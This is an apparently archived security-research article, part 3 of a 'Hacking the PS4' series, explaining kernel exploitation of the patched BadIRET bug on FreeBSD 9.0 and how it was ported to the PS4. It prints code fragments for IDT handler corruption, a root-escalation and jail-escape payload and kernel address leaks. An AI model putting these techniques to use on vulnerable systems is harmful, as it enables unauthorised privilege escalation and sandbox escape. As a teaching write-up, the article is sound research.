-
Notifications
You must be signed in to change notification settings - Fork 10
/
Copy pathps4-3.html
1276 lines (936 loc) · 53.2 KB
/
ps4-3.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0">
<link rel="stylesheet" type="text/css" href="css/core.css" />
<link rel="stylesheet" type="text/css" href="css/prism.css" />
<title>Hacking the PS4, part 3 - Kernel exploitation</title>
</head>
<body>
<div class="page">
<div class="container">
<div class="header">
<a href="contact.html" class="header-element">
Contact
</a>
<a href="about.html" class="header-element">
About
</a>
<a href="articles.html" class="header-element">
Articles
</a>
<a href="index.html" class="header-element">
Home
</a>
</div>
<h1>Hacking the PS4, part 3</h1>
<h2>Kernel exploitation</h2>
<span class="date">Initial publication: Dec 17th, 2015</span>
<hr>
<p>
<b>Note</b>: This article is part of a 3 part series:
</p>
<ul>
<li><a href="ps4.html">Hacking the PS4, part 1 - Introduction to PS4's security, and userland ROP</a></li>
<li><a href="ps4-2.html">Hacking the PS4, part 2 - Userland code execution</a></li>
<li><b><a href="ps4-3.html">Hacking the PS4, part 3 - Kernel exploitation</a></b></li>
</ul>
<p>
See also: <a href="dlclose-overflow.html">Analysis of <code>sys_dynlib_prepare_dlclose</code> PS4 kernel heap overflow</a>
</p>
<br>
<h2>Prefix</h2>
<p>
I've recently been getting a lot of unwanted attention from people pleading me to release a "CFW" or "Jailbreak" so that they can pirate video games on their PS4.
</p>
<p>
I want to make very clear that I've primarily been doing this research as a learning exercise because I'm passionate about entering the information security field. This is partly the reason why I've tried to take a such an open approach; and I'm very grateful to hear whenever another aspiring security researcher tells me that they have found these articles helpful.
</p>
<p>
But if this doesn't describe you, and you just want to install a "CFW" on your console, these articles won't interest you; don't bother reading any further.
</p>
<br>
<h2>Introduction</h2>
<p>
I've had kernel code execution on the PS4 for just over a week now, and would like to explain how it works, and everything that I've managed to use it for thus far.
</p>
<blockquote class="twitter-tweet" lang="en"><p lang="en" dir="ltr">PS4 kernel exploit finally working! Thanks to everyone involved!</p>— CTurt (@CTurtE) <a href="https://twitter.com/CTurtE/status/673581693207502849">December 6, 2015</a></blockquote>
<script async src="//platform.twitter.com/widgets.js" charset="utf-8"></script>
<p>
Since the kernel vulnerability used has already been patched (somewhere in 2.xx), I have decided to explain the process of how it was exploited it in the hope that it will make for an interesting read and that it might be useful for any developers who have access to a compatible firmware.
</p>
<p>
Whilst I must refrain from releasing the full source code of the exploit and some of the details which directly apply to the PS4 due to fear that it would be used for malicious purposes, I can explain how to exploit the bug on FreeBSD, and provide some hints about how it can be ported to PS4.
</p>
<br>
<h2 id="code-execution">Code execution</h2>
<p>
Firstly, I need to reveal the technique used to gain code execution under the WebKit process from ROP.
</p>
<p>
The JavaScript core of WebKit uses <a href="https://en.wikipedia.org/wiki/Just-in-time_compilation">JIT (Just-in-time compilation)</a>, a way of dynamically compiling JavaScript into native code for performance reasons (as opposed to interpreters like <a href="cinoop.html">my Game Boy emulator</a>). Obviously, to do this requires an area of memory which is both writable and executable.
</p>
<p>
Sony handled this by creating 2 custom system calls: <code>sys_jitshm_create</code>, and <code>sys_jitshm_alias</code>. You can use these system calls directly, or the wrappers exposed by <code>libkernel</code> (<code>sceKernelJitCreateSharedMemory</code> et al.).
</p>
<p>
We reverse engineered the <code>libSceJitBridge.sprx</code> module to identify exactly how these functions are used together, and I added a simple wrapper to PS4-SDK for this functionality, called <a href="https://github.com/CTurt/PS4-SDK/blob/master/libPS4/source/jit.c#L17"><code>allocateJIT</code></a>.
</p>
<p>
The basic idea is that there is no way to directly map a RWX virtual page. Instead, we need to request a shared memory allocation, and then create an alias of this memory. We map the first handle as RX, and the alias as RW. This will give us two separate virtual mappings which point to the same physical memory.
</p>
<p>
Code can now be written to the RW mapping and executed from the RX mapping like so (full example <a href="https://github.com/CTurt/PS4-SDK/tree/master/examples/jit">here</a>):
</p>
<pre><code class="language-c">unsigned char loop[] = { 0xeb, 0xfe };
memcpy(writableAddress, loop, sizeof(loop));
((void (*)())executableAddress)();</code></pre>
<br>
<p>
The one limitation of this is that a segfault will be triggered if a <code>syscall</code> instruction is executed from within JIT shared memory. To perform system calls we need to jump to a <code>syscall</code> instruction from <code>libkernel</code>; just like how we performed system calls with ROP.
</p>
<p>
The ROP chain to setup memory, copy WiFi-Loader, and execute it was too long to be done in a single stage, so I had to store the current stage in a cookie, and reload the page after each stage to start the next one:
</p>
<pre><code>var codeExecutionStage = getCookie("codeExecutionStage");
if(codeExecutionStage == "1") {
allocateSharedMemory();
document.getElementById("codeExecutionStage").innerHTML = "Stage: Mapping shared memory...";
setTimeout(function() { document.cookie = "codeExecutionStage=2"; location.reload(); }, 10);
}
else if(codeExecutionStage == "2") {
mapSharedMemory();
document.getElementById("codeExecutionStage").innerHTML = "Stage: Waiting for payload...";
setTimeout(function() { document.cookie = "codeExecutionStage=3"; location.reload(); }, 10);
}
else if(codeExecutionStage == "3") {
payload();
document.getElementById("codeExecutionStage").innerHTML = "Stage: Executing...";
setTimeout(function() { document.cookie = "codeExecutionStage=4"; location.reload(); }, 10);
}
else if(codeExecutionStage == "4") {
copy();
document.getElementById("codeExecutionStage").innerHTML = "Stage: Done!";
setTimeout(function() { document.cookie = "codeExecutionStage=0"; location.reload(); }, 10);
}</code></pre>
<br>
<p>
Since we're using the JIT system calls for their intended purpose, it's not really an exploit, just a neat trick.
</p>
<p>
You may also be disappointed to hear that very few apps have access to JIT. Sony added their own privilege checks in the kernel; only processes which pass these checks are allowed to use JIT. Unless we find another way of getting code execution, this means that exploits in games and web-apps (like YouTube and Netflix which are statically linked to old versions of WebKit) will be limited to ROP.
</p>
<br>
<h2><code>NULL</code> dereferences</h2>
<p>
One of the first things I explored was the possibility of exploiting <code>NULL</code> dereferences since, historically these are one of the more common types of vulnerabilities.
</p>
<p>
The basic idea is that if a kernel memory allocation fails, <code>NULL</code> will be returned, but a vulnerable piece of kernel code would then go on to use this pointer anyway, without first checking that the allocation succeeded. This situation may also arise when a kernel pointer is initialised to <code>NULL</code> and utilised before being set to a valid address. In these cases, if we can map and write to <code>NULL</code> from userland, we would have complete control over a piece of memory which should normally only be accessible from the kernel.
</p>
<p>
Unfortunately, trying to map a <code>NULL</code> page will fail, returning <code>EINVAL</code>:
</p>
<pre><code class="language-c">mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);</code></pre>
<br>
<p>
This is due to the <code>sysctl</code> flag, <code>security.bsd.map_at_zero</code>, being set to 0; attempting to change it to 1 will also fail:
</p>
<pre><code class="language-c">int enableNULLmapping(void) {
int val = 1;
int len = sizeof(val);
return sysctlbyname("security.bsd.map_at_zero", NULL, 0, &val, &len);
}</code></pre>
<br>
<p>
Since we have no way of controlling the memory at <code>NULL</code>, it would be unlikely that we can exploit any kernel <code>NULL</code> dereferences.
</p>
<br>
<h2>sysctl</h2>
<p>
The <code>libkernel</code> module contains a standard FreeBSD function called <a href="https://www.freebsd.org/cgi/man.cgi?query=sysctl&apropos=0&sektion=3&manpath=FreeBSD+9.0-RELEASE&arch=amd64&format=html"><code>sysctl</code></a>, which can be used to extract some system information.
</p>
<p>
For example, it can be used to read the value of <code>KERN_OSTYPE</code>, which is <code>FreeBSD</code>:
</p>
<pre><code class="language-c">int getOS(char *destination) {
int name[2];
size_t len;
name[0] = CTL_KERN;
name[1] = KERN_OSTYPE;
return sysctl(name, 2, destination, &len, NULL, 0);
}</code></pre>
<br>
<h2>Reading kernel call stacks</h2>
<p>
By far, the most interesting thing that <code>sysctl</code> can be used for is reading kernel call stacks:
</p>
<pre><code class="language-c">size_t getKernelStacks(void *destination) {
int name[4];
size_t len;
name[0] = CTL_KERN;
name[1] = KERN_PROC;
name[2] = KERN_PROC_KSTACK;
name[3] = syscall(20);
sysctl(name, 4, destination, &len, NULL, 0);
return len;
}</code></pre>
<br>
<p>
This results in several stacks (one for each thread), like the following:
</p>
<pre><code>#0 0xffffffff8243f6dc at mi_switch+0xbc
#1 0xffffffff82473d7c at sleepq_wait_sig+0x13c
#2 0xffffffff8247415f at sleepq_timedwait_sig+0xf
#3 0xffffffff8243f2ba at _sleep+0x23a
#4 0xffffffff8244ee35 at umtx_thread_exit+0x13b5
#5 0xffffffff82616735 at amd64_syscall+0x4c5
#6 0xffffffff825ff357 at Xfast_syscall+0xf7</code></pre>
<br>
<p>
Not only does this give us an easy way to identify roughly how different some parts of the PS4 kernel are from FreeBSD, but it also leaks the addresses of some kernel functions which will be vital for exploitation later. Just in case you needed any more confirmation that there is no kernel ASLR, these function addresses are always the same across reboots.
</p>
<br>
<h2>Reading system call names</h2>
<p>
It is possible to identify unknown system calls by reading their kernel call stacks during execution. We can create a separate thread which performs an unknown system call repeatedly, wait for it to be preempted, and read its call stack:
</p>
<pre><code class="language-c">void *threadFunction(void *arg) {
while(1) {
syscall(532, 0, 0, 0, 0, 0, 0);
}
}
...
ScePthread thread;
scePthreadCreate(&thread, NULL, threadFunction, NULL, "test");
size = getKernelStacks(buffer);
sceNetSend(sock, buffer, size, 0);
scePthreadCancel(thread);</code></pre>
<br>
<p>
Here is the resultant kernel call stack of the new thread:
</p>
<pre><code>#0 0xffffffff8243f6dc at mi_switch+0xbc
#1 0xffffffff8243dcaf at critical_exit+0x6f
#2 0xffffffff82609ca9 at ipi_bitmap_handler+0x159
#3 0xffffffff825ffe47 at Xipi_intr_bitmap_handler+0x97
#4 0xffffffff823723fa at uart_bus_detach+0x38a
#5 0xffffffff82374f26 at uart_tty_detach+0xad6
#6 0xffffffff823f1661 at cnputc+0x91
#7 0xffffffff823f17a8 at cnputs+0x28
#8 0xffffffff8246e44a at vprintf+0x9a
#9 0xffffffff8246e38f at printf+0x4f
#10 0xffffffff826a2ede at sys_regmgr_call+0x20e
#11 0xffffffff82616735 at amd64_syscall+0x4c5
#12 0xffffffff825ff357 at Xfast_syscall+0xf7</code></pre>
<br>
<p>
This confirms that system call <code>532</code>, <code>sys_regmgr_call</code>, executes a registry command, as predicted in <a href="ps4-2.html">my previous article</a>.
</p>
<p>
Although it is technically possible for the kernel to be preempted during any piece of kernel code which doesn't follow a <code>critical_enter</code>, it can be difficult to achieve this in practice. This is especially true with system calls which consist of only a few instructions, resulting in a smaller race window, such as <code>getpid</code>:
</p>
<pre><code class="language-c">int sys_getpid(struct thread *td, struct getpid_args *uap) {
struct proc *p = td->td_proc;
td->td_retval[0] = p->p_pid;
return (0);
}</code></pre>
<br>
<pre><code>sys_getpid:
mov rax, [rdi+8]
movsxd rax, dword ptr [rax+0B0h]
mov [rdi+368h], rax
xor eax, eax
retn</code></pre>
<br>
<h2 id="biret">BadIRET</h2>
<p>
<a href="http://seclists.org/oss-sec/2015/q3/66">BadIRET</a> is a kernel vulnerability originally discovered in Linux and later found to affect FreeBSD too.
</p>
<p>
Despite <a href="https://reviews.freebsd.org/rS275833">being fixed back in 2014</a>, BadIRET has only recently gotten a <a href="https://www.freebsd.org/security/advisories/FreeBSD-SA-15:21.amd64.asc">security advisory</a>, apparently due to the FreeBSD Security Officer being replaced around this time. Because of this, I hadn't heard of BadIRET back when I started researching the PS4.
</p>
<p>
Check out the blog posts by <a href="http://labs.bromium.com/2015/02/02/exploiting-badiret-vulnerability-cve-2014-9322-linux-kernel-privilege-escalation/">Rafal Wojtczuk</a> and <a href="http://blog.pi3.com.pl/?p=509">Adam Zabrocki</a> for detailed explanations of how BadIRET can be exploited on Linux; most of the concepts apply to FreeBSD too.
</p>
<p>
I'm pleased to report that the PS4 kernel from firmware 1.76 <strong>is</strong> vulnerable to BadIRET!
</p>
<br>
<h3>Brief explanation</h3>
<p>
The <code>GS</code> segment register is used by userland processes to access per-thread state data, and by the kernel to access per-processor state data.
</p>
<p>
The kernel switches between the current kernel and userland <code>GS</code> bases using the <code>swapgs</code> instruction.
</p>
<p>
When the kernel wishes to return execution from an interrupt back to userland, it uses the <code>iret</code> instruction. The problem is that if <code>iret</code> throws an <code>#SS</code> exception, one extra <code>swapgs</code> is performed, meaning that the <code>GS</code> register will switch to the userland <code>GS</code> base whilst the kernel still expects it to be the kernel <code>GS</code>.
</p>
<p>
Since the userland <code>GS</code> base is fully controllable with <code>sysarch</code>:
</p>
<pre><code class="language-c">#define AMD64_SET_GSBASE 131
int amd64_set_gsbase(void *base) {
return sysarch(AMD64_SET_GSBASE, &base);
}</code></pre>
<br>
<p>
Any writes which the kernel performs relative to the <code>GS</code> base can be controlled after the vulnerable <code>swapgs</code>.
</p>
<p>
Interestingly, OpenBSD has a <code>sysctl</code> option called <code>machdep.userldt</code> which controls whether user processes should be allowed to modify <code>LDT</code>, and is disabled by default. If something like this would have been included in FreeBSD, we probably wouldn't have had permission to create <code>LDT</code> entries, and trigger the vulnerable <code>#SS</code> exception.
</p>
<br>
<h3>Debugging FreeBSD</h3>
<p>
Since the PS4 firmware is based on FreeBSD 9.0-RELEASE, the first thing to do is achieve kernel code execution from the bug on FreeBSD 9.0; it is essential to have a decent debugger setup for this. I won't go through this process in much detail since <a href="https://fail0verflow.com/blog/2012/cve-2012-0217-intel-sysret-freebsd.html#kernel-debugging">iZsh explains how to debug a FreeBSD virtual machine on OS X in his sysret exploit write-up</a>, and the stages are almost identical for Linux Mint.
</p>
<p>
Just install the build system beforehand:
</p>
<pre><code>sudo apt-get install build-essential
sudo apt-get install libncurses5-dev</code></pre>
<br>
<p>
And install <code>gdb-amd64-marcel-freebsd</code> as explained.
</p>
<p>
Note that you may need to set the appropriate architecture if you receive the "remote register badly formatted" error.
</p>
<pre><code>gdb-amd64-marcel-freebsd -q -tui kernel/kernel
set architecture i386:x86-64
target remote localhost:8864</code></pre>
<br>
<p>
Another option is to use the remote gdb feature within IDA Pro.
</p>
<p>
Finally, to transfer code to the virtual machine, you can setup a web server on the host and use the <code>fetch</code> command:
</p>
<pre><code>fetch -o badiret.c http://192.168.0.4/badiret.c</code></pre>
<br>
<h3>Optimisation</h3>
<p>
Exploiting BadIRET relies on the specific configuration of a number of low-level x86 idioms. The exploit is sensitive to certain compiler optimisations which may generate code that is functionally equivalent to the unoptimised code, but have adverse effects when executed. When writing this kernel exploit, compiler optimisations were disabled to increase reliability and reproducibility across platforms.
</p>
<p>
For example, one problem I encountered when building the exploit with optimisations is the use of segment registers. With optimisations enabled, certain variables would be accessed relative to the <code>cs</code> segment register. However, by the time our kernel payload is executed, the <code>cs</code> register will have been changed by the kernel, meaning that these variables will be incorrectly addressed.
</p>
<br>
<h3>The Interrupt Descriptor Table</h3>
<p>
The Interrupt Descriptor Table (IDT) is the data structure on x86 used to manage interrupts. Corrupting this structure wasn't a viable attack vector for BadIRET on Linux since it is read-only. However, on FreeBSD this is not the case.
</p>
<p>
With the ability to write data to kernel memory, it is possible to corrupt an entry in this table and hijack an exception handler to obtain kernel code execution. Our target to hijack will be the page fault exception handler (<code>#PF</code>), called <code>Xpage</code>, which is fired when a <a href="https://en.wikipedia.org/wiki/Page_fault">page fault</a> occurs; its address on FreeBSD 9.0 is <code>0xFFFFFFFF80B03240</code>.
</p>
<p>
We first need to use the unprivileged <code>sidt</code> (Store Interrupt Descriptor Table) instruction from userland to retrieve the Interrupt Descriptor Table Register, which is described as the following 6 byte structure:
</p>
<pre><code class="language-c">struct idtr {
uint16_t limit;
uint64_t base;
} __attribute__((packed));</code></pre>
<br>
<p>
With the IDT base, we can calculate the address of the function pointer to the page fault handler (<code>#PF</code> is entry 14 in the IDT):
</p>
<pre><code class="language-c">struct idt_descriptor *sidt(void) {
struct region_descriptor idt;
asm volatile("sidt %0" : "=m"(idt));
return (struct idt_descriptor *)idt.rd_base;
}
xpageEntryHi = &(sidt()[IDT_PF]).off_high;</code></pre>
<br>
<h3>Abusing <code>critical_enter</code> to corrupt kernel pointers</h3>
<p>
Now that we've obtained this address, we need to identify a suitable means of controlling it.
</p>
<p>
Our technique will abuse <a href="https://github.com/freebsd/freebsd/blob/release/9.0.0/sys/kern/kern_switch.c#L181"><code>critical_enter</code></a>, a routine which increments <code>td->td_critnest</code> to keep count of the number of critical sections the kernel thread is currently in (this count is decremented at <code>critical_exit</code>). The <code>td_critnest</code> value is accessed relative to an address stored at the <code>GS</code> base (known as <code>td</code>):
</p>
<pre><code>critical_enter:
mov rax, gs:0 ; rax = *gs (td)
inc dword [rax+0x3cc] ; td->td_critnest++;
ret</code></pre>
<br>
<p>
Since kernel memory is based at <code>0xffffffff80000000</code> in the virtual address space, kernel function pointers have an upper four bytes of <code>0xffffffff</code>. If <code>(*gs)+0x3cc</code> points to the upper four bytes of a kernel pointer, the value will overflow from <code>0xffffffff</code> to <code>0x00000000</code>, effectively corrupting it into a userland pointer.
</p>
<p>
In our case, this should point to the upper 4 bytes of the page fault entry in the IDT, minus the <code>0x3cc</code> offset:
</p>
<pre><code class="language-c">gsBase[0] = xpageEntryHi - 0x3cc;</code></pre>
<br>
<p>
This is how the <code>critical_enter</code> write will affect the <code>#PF</code> entry in the IDT (bytes in bold are used by the address):
</p>
<pre><code>00 8E <b>B0 80</b> <b>FF FF FF FF</b> 00 00 00 00 <b>40 32</b> 20 00 - Address: 0xFFFFFFFF80B03240
00 8E <b>B0 80</b> <b>(FF FF FF FF)+1</b> 00 00 00 00 <b>40 32</b> 20 00 - Address: 0x(FFFFFFFF+1)80B03240
00 8E <b>B0 80</b> <b>00 00 00 00</b> 00 00 00 00 <b>40 32</b> 20 00 - Address: 0x0000000080B03240</code></pre>
<br>
<p>
Since FreeBSD 9.0 doesn't have support for SMAP (Supervisor Mode Access Prevention) or SMEP (Supervisor Mode Execution Prevention), the CPU will happily execute userland memory in kernel mode, as long as it is marked as executable. So to achieve kernel code execution, we just need to map and write our payload to <code>0x80B03240</code>, and trigger a page fault.
</p>
<br>
<h3>Triggering a page fault</h3>
<p>
Since we filled most of our userland GS memory with <code>0</code>, after triggering the bug, the kernel will eventually attempt to access an address from GS which will be <code>NULL</code>, and a page fault will be triggered.
</p>
<p>
The exact place where this happens is the following instruction from <code>_thread_lock_flags</code>:
</p>
<pre><code>FFFFFFFF80823368: mov rax, [r12+18h]</code></pre>
<br>
<p>
Since <code>r12</code> contains <code>0</code>, a read from the unmapped address <code>0x18</code> will be performed, resulting in a jump to the page fault handler (which now points to our userland address).
</p>
<p>
At this point, we are executing arbitrary code in the kernel. However, we are already two faults deep:
</p>
<pre><code>#SS exception -> Corrupt #PF handler -> #PF exception -> Our payload</code></pre>
<br>
<p>
In x86 <a href="https://en.wikipedia.org/wiki/Triple_fault">a triple fault</a> will cause a reboot. We need to take precautions to prevent any further faults from occurring and crashing the system. Mainly, we need to ensure that any user memory we access in the payload won't cause a further page fault.
</p>
<p>
There are several ways to achieve this: you can prefault over all memory which you intend to use in your payload by simply performing a read to these memory locations before performing the exploit:
</p>
<pre><code class="language-c">void prefault(void *address, size_t size) {
uint64_t i;
for(i = 0; i < size; i++) {
volatile uint8_t c;
(void)c;
c = ((char *)address)[i];
}
}</code></pre>
<br>
<p>
This is equivilant to passing the <code>MAP_PREFAULT_READ</code> flag to <code>mmap</code>.
</p>
<p>
Alternatively, you can use the <a href="https://www.freebsd.org/cgi/man.cgi?query=mlock&apropos=0&sektion=2&manpath=FreeBSD+9.0-RELEASE&arch=default&format=html"><code>mlock</code></a> system call to make sure that memory pages intended to be accessed from the payload won't be paged out of physical memory.
</p>
<p>
In general, it's best to keep the payload code to the bare minimum before returning to userland.
</p>
<br>
<h3>Privilege escalation</h3>
<p>
The standard payload for a kernel exploit is to give the current process <code>root</code> privileges:
</p>
<pre><code class="language-c">struct thread *td;
struct ucred *cred;
// Get td pointer
asm volatile("mov %0, %%gs:0" : "=r"(td));
// Resolve creds
cred = td->td_proc->p_ucred;
// Escalate process to root
cred->cr_uid = cred->cr_ruid = cred->cr_rgid = 0;
cred->cr_groups[0] = 0;</code></pre>
<br>
<p>
On the PS4, our process is also in a <a href="https://www.freebsd.org/doc/handbook/jails.html">FreeBSD jail</a>, so we'll also need to perform a <i>jailbreak</i>:
</p>
<pre><code class="language-c">cred->cr_prison = &prison0;</code></pre>
<br>
<p>
This causes the <a href="https://github.com/freebsd/freebsd/blob/release/9.0.0/sys/kern/kern_jail.c#L3390"><code>jailed</code></a> check to return 0.
</p>
<p>
We'll also need to break out of the sandbox to gain full access to the filesystem:
</p>
<pre><code class="language-c">void *td_fdp = *(void **)(((char *)td_proc) + 72);
uint64_t *td_fdp_fd_rdir = (uint64_t *)(((char *)td_fdp) + 24);
uint64_t *td_fdp_fd_jdir = (uint64_t *)(((char *)td_fdp) + 32);
uint64_t *rootvnode = (uint64_t *)0xFFFFFFFF832EF920;
*td_fdp_fd_rdir = *rootvnode;
*td_fdp_fd_jdir = *rootvnode;</code></pre>
<br>
<p>
As mentioned earlier, Sony added a few additional privilege checks to the PS4 kernel, such as whether the current process has permission to use the JIT system calls, access the registry, send debug messages over UART, etc. I won't go over how to disable all of these checks, but once you've dumped the kernel, they are trivial to bypass; just search for <code>sceSblACMgr</code>.
</p>
<br>
<h3>Restoring kernel state</h3>
<p>
We need to cleanup the IDT corruption performed by the <code>td->td_critnest++</code> write, as well any other writes performed along the way (at an offset from <code>td</code>).
</p>
<p>
We can write to the page fault entry in the IDT directly since we are now executing in kernel mode:
</p>
<pre><code class="language-c">*((int *)XpageEntryHi) = 0xffffffff;</code></pre>
<br>
<p>
We can verify that the page fault entry is correctly restored by triggering a page fault and seeing where the debugger jumps:
</p>
<pre><code class="language-c">char *p = NULL;
*p = 0;</code></pre>
<br>
<p>
However, if we dump the nearby memory before and after triggering the exploit (<code>(gdb) x /512bx 0xffffffff81183c7c</code>), we will find that a few other bytes were corrupted too. For example:
</p>
<pre><code>0xffffffff81184048 before: 0xff 0xff 0xff 0xff 0x00 0x00 0x00 0x00
0xffffffff81184048 after: 0xff 0xff 0xff 0xff 0x01 0x00 0x00 0x00</code></pre>
<br>
<p>
Simply write back the all values which were changed, and the system should be ready to continue execution gracefully.
</p>
<p>
Now, the final step is a matter of crafting a valid <code>iret</code> stack frame and returning to userland via the <code>iret</code> instruction.
</p>
<p>
In userland, to prevent the next interrupt from triggering the vulnerable <code>#SS</code> exception again, set the <code>sd_p</code> member of the LDT descriptor back to 1 so that it is marked present, and update it with <code>i386_set_ldt</code>.
</p>
<br>
<h3>Improving reliability</h3>
<p>
In its current state, the exploit will work most of the time. However, occasionally multiple nested calls to <code>critical_enter</code> will occur before jumping to the <code>#PF</code> handler.
</p>
<p>
In this situation, the upper 4 bytes of the <code>#PF</code> function pointer in the IDT would be <code>0x00000001</code> or <code>0x00000002</code> rather than <code>0x00000000</code>. To ensure that our payload is always executed, just map and copy the trampoline code to all of these locations.
</p>
<br>
<h2>Porting to PS4</h2>
<p>
Now that we've successfully exploited the bug on FreeBSD 9.0, let's identify every assumption that our exploit relies on for kernel code execution:
</p>
<ul>
<li>#PF being the 14th entry in the IDT,</li>
<li><code>Xpage</code> address being <code>0xFFFFFFFF80B03240</code>,</li>
<li>The <code>td</code> pointer being accessed from <code>gs:0</code>,</li>
<li>The offset of <code>td_critnest</code> in <code>struct thread</code> being <code>0x3cc</code>,</li>
</ul>
<br>
<h3>#PF index in IDT</h3>
<p>
Since page fault is defined as hardware exception 14 in the x86 architecture, it is safe to assume that this is unchanged in the PS4.
</p>
<br>
<h3><code>Xpage</code> address</h3>
<p>
I wasn't able to leak the address of <code>Xpage</code> directly, but we know the address of <code>Xfast_syscall</code> to be <code>0xFFFFFFFF825FF260</code> from <code>sysctl</code> extracted kernel call stacks, and on FreeBSD these functions happen to be very close:
</p>
<pre><code>FreeBSD Xpage: 0xFFFFFFFF80B03240
FreeBSD Xfast_syscall: 0xFFFFFFFF80B03330
Difference: 0xf0</code></pre>
<br>
<p>
Subtracting <code>0xf0</code> from the address of <code>Xfast_syscall</code> gives us <code>0xFFFFFFFF825FF170</code>, which should either be perfect, or an accurate enough estimate. Knowing the exact address of <code>Xpage</code> is not necessary. By mapping a large NOP slide in userland, we only need to guess the general range the function is in.
</p>
<br>
<h3><code>td</code> offset from <code>gs</code></h3>
<p>
There is a high probability that Sony changed some internal system structs. Since the <code>gs</code> register is generally used as scratch space, we should make no hard assumptions about <code>td</code> being stored at <code>gs:0</code>. This isn't too big of a problem since we can spray the crafted <code>td</code> address across multiple offsets in <code>gs</code> memory and be fairly sure that the PS4 will use one of them as <code>td</code>.
</p>
<br>
<h3><code>td_critnest</code> offset</h3>
<p>
The only other unknown fixed offset that we rely on is <code>critical_enter</code> incrementing <code>td+0x3cc</code>. This was not the case on the PS4, and finding the actual offset was the most time consuming to find.
</p>
<p>
We experimented with various different ways of trying to deduce this offset. One idea was to point <code>td</code> into a large empty mapping in userland and watch for writes to memory. By starting a second thread that scanned the mapping in a tight loop, it was possible to identify at which offsets writes occurred, and send this information over the network before the entire system crashed. This race window was large enough to work when tested in a FreeBSD VM:
</p>
<pre><code>[+] Allocated LDT index: 16
Leak thread started
[+] Dry run (set SS to 0x87)...
[+] Here goes...
Found non-zero memory at offset 3cc
Found non-zero memory at offset 3d0
Found non-zero memory at offset 3d8
Found non-zero memory at offset 3cc
Found non-zero memory at offset 3d0
Found non-zero memory at offset 3d8</code></pre>
<br>
<p>
However, we had less luck running this same code on the PS4. We could only guess that the system crashed more quickly, and the kernel didn't have enough time to send these packets.
</p>
<p>
Since this was the only unknown value we depended on, in the end it proved easier to just brute force it. We know that it must be aligned to 4 bytes, and that it's likely to be within the range of <code>0x3b0 - 0x400</code>, which gives us only about 20 possibilities to try (in reality, I tried a much larger range than this just in case).
</p>
<p>
